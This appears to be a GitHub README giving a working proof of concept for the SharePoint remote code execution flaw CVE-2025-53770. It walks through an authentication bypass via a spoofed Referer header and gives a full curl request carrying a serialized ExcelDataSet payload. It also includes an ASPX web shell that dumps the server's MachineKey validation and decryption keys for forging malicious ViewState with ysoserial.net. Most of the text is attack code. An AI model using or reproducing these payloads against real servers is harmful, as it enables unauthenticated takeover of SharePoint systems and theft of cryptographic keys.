ghostn4444/cve-2025-53770CVE-2025-53770 - SharePoint
The deserialization of untrusted data in on-premises Microsoft SharePoint Server allows an attacker to execute code remotely and compromise the system. Microsoft is aware of active exploitation and is preparing a comprehensive update. Ensure that mitigations from the CVE documentation are in place.
This is a critical remote code execution (RCE) vulnerability. It exploits insecure deserialization of untrusted data, allowing an attacker to execute arbitrary code without the need for authentication.
It is an authentication bypass vulnerability (spoofing) via manipulation of the HTTP header (especially the Referer field), allowing to bypass access controls and escalate to RCE with CVE-53770.
Both replace previous patches (CVE-2025-49704 and CVE-2025-49706), which were applied in July but proved incomplete, enabling new attack vectors.
1 - (Authentication Bypass): /layouts/15/ToolPane.aspx
Step 1 – Make a POST request to the vulnerable URL. Step 2 – Upload an .aspx file with code that reads the MachineKey (like your snippet). Step 3 – Generate a malicious ViewState using tools such as ysoserial.net configured with these keys.
POST /_layouts/15/ToolPane.aspx?DisplayMode=Edit HTTP/1.1
Host: sharepoint.lab.local
Referer: /_layouts/SignOut.aspx
Content-Length: 0
The following PoC demonstrates how an attacker can exploit the vulnerability to extract and decode malicious payloads via the vulnerable endpoint.
The target domain is intentionally replaced with target.com.
PoC Command 1
curl -sk -X POST 'https://target.com/_layouts/15/ToolPane.aspx?DisplayMode=Edit&a=/ToolPane.aspx' \
-H 'Referer: /_layouts/SignOut.aspx' \
-H 'Content-Type: application/x-www-form-urlencoded' \
--data-urlencode 'MSOTlPn_Uri=https://target.com' \
--data-urlencode 'MSOTlPn_DWP=
<%@ Register Tagprefix="Scorecard" Namespace="Microsoft.PerformancePoint.Scorecards" Assembly="Microsoft.PerformancePoint.Scorecards.Client, Version=16.0.0.0, Culture=neutral, PublicKeyToken=71e9bce111e9429c" %>
<%@ Register Tagprefix="asp" Namespace="System.Web.UI" Assembly="System.Web.Extensions, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35" %>
<asp:UpdateProgress ID="UpdateProgress1" DisplayAfter="10" runat="server" AssociatedUpdatePanelID="upTest">
<ProgressTemplate>
<div class="divWaiting">
<Scorecard:ExcelDataSet CompressedDataTable="H4sIAADEfmgA/4WRX2uzMBTG7/0Ukvs06ihjQb3ZbgobG1TYeO9OY6yBJpGTdHbfvudVu44x6FUkPn9+PEnK1nTdHuV8gE1P9uCCtKGFCBU7opNB9dpC4NYo9MF3kStvJen4rGKLZ4645bkU8c+c1Umalp33/0/62gGmC45pK9bA7qBZOpdI9OMrtpryM3ZR9RAee3B7HSpmXNAYdTuFTnGDVwvZKZiK9TEOUohxHFfj3crjXhRZlouPl+ftBMspIYJTVHlxEcQt13cdFTY6xHeEYdB4vaX7jet8vXERj8S/VeCcxicdtYrGuzf4OnhoSzGpftoaYykQ7FAXWbHm2T0v8qYoZP4g1+t/pbj+vyKIPxhKQUssEwvaeFpdTLOX4tfz18kZONVdDRICAAA=" DataTable-CaseSensitive="false" runat="server"></Scorecard:ExcelDataSet>
</div>
</ProgressTemplate>
</asp:UpdateProgress>' \
| grep -oP 'CompressedDataTable="\K[^&]+(?=")' \
| base64 -d 2>/dev/null \
| gzip -d 2>/dev/null \
| tee /tmp/sharepoint_decoded_payload.txt \
| grep -Ei 'IntruderScannerDetectionPayload|ExcelDataSet|divWaiting|ProgressTemplate|Scorecard'
Actual command used in analysis
<%@ Import Namespace="System.Diagnostics" %>
<%@ Import Namespace="System.IO" %>
<script runat="server" language="C#" CODEPAGE="65001">
public void Page_load()
{
var sy = System.Reflection.Assembly.Load("System.Web, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a");
var mkt = sy.GetType("System.Web.Configuration.MachineKeySection");
var gac = mkt.GetMethod("GetApplicationConfig", System.Reflection.BindingFlags.Static | System.Reflection.BindingFlags.NonPublic);
var cg = (System.Web.Configuration.MachineKeySection)gac.Invoke(null, new object[0]);
Response.Write(cg.ValidationKey + "|" + cg.Validation + "|" + cg.DecryptionKey + "|" + cg.Decryption + "|" + cg.CompatibilityMode);
}
</script>